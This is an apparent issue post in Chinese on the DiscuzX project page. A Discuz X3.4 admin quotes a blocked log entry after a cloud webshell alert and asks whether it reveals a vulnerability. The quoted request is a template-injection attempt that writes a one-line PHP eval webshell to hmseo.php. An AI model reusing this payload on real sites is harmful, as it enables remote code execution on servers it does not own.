腾讯云后台出现提示webshell木马

腾讯云突然发短信提醒我检查到木马文件，登录后发现是/data/log/目录下的errorlog.php存在以下可疑代码：

```
User: uid=0; IP=211.149.138.212; RIP:211.149.138.212 Request: /b/?a=fetch&amp;templateFile=public/index&amp;prefix=''&amp;content=&lt;php&gt;file_put_contents('hmseo.php','&lt;?php%20@eval($_POST[hm]);?&gt;hmseo')&lt;/php&gt;
```
该行完整代码如下
```
<?PHP exit;?>	1637293005	您当前的访问请求当中含有非法字符，已经被系统拒绝 PHP:index.php:0132index.php:0132 -> forum.php:0057forum.php:0057 -> source/class/discuz/discuz_application.php:0071source/class/discuz/discuz_application.php:0071 -> source/class/discuz/discuz_application.php:0592source/class/discuz/discuz_application.php:0592 -> source/class/discuz/discuz_application.php:0384source/class/discuz/discuz_application.php:0384 -> source/function/function_core.php:0023source/function/function_core.php:0023 -> source/class/discuz/discuz_error.php:0024source/class/discuz/discuz_error.php:0024	f7453a6b06ac641ee8d14085c48b624c	User: uid=0; IP=211.149.138.212; RIP:211.149.138.212 Request: /b/?a=fetch&amp;templateFile=public/index&amp;prefix=''&amp;content=&lt;php&gt;file_put_contents('hmseo.php','&lt;?php%20@eval($_POST[hm]);?&gt;hmseo')&lt;/php&gt;
```

目前已将这个log文件删除。

请问，这个是漏洞吗？

* Discuz! 版本: Discuz! X3.4
* Release 版本: R20210630 
* 服务器系统版本: CentOS
* PHP 版本: PHP v7.2.11
* MySQL / MariaDB 版本: 5.7.24-log
* 内存缓存类型和版本: Redis

Discuz/DiscuzX

内容风险标识

评论 (3)

Discuz/DiscuzX .gitee-modal { width: 500px !important; }

内容风险标识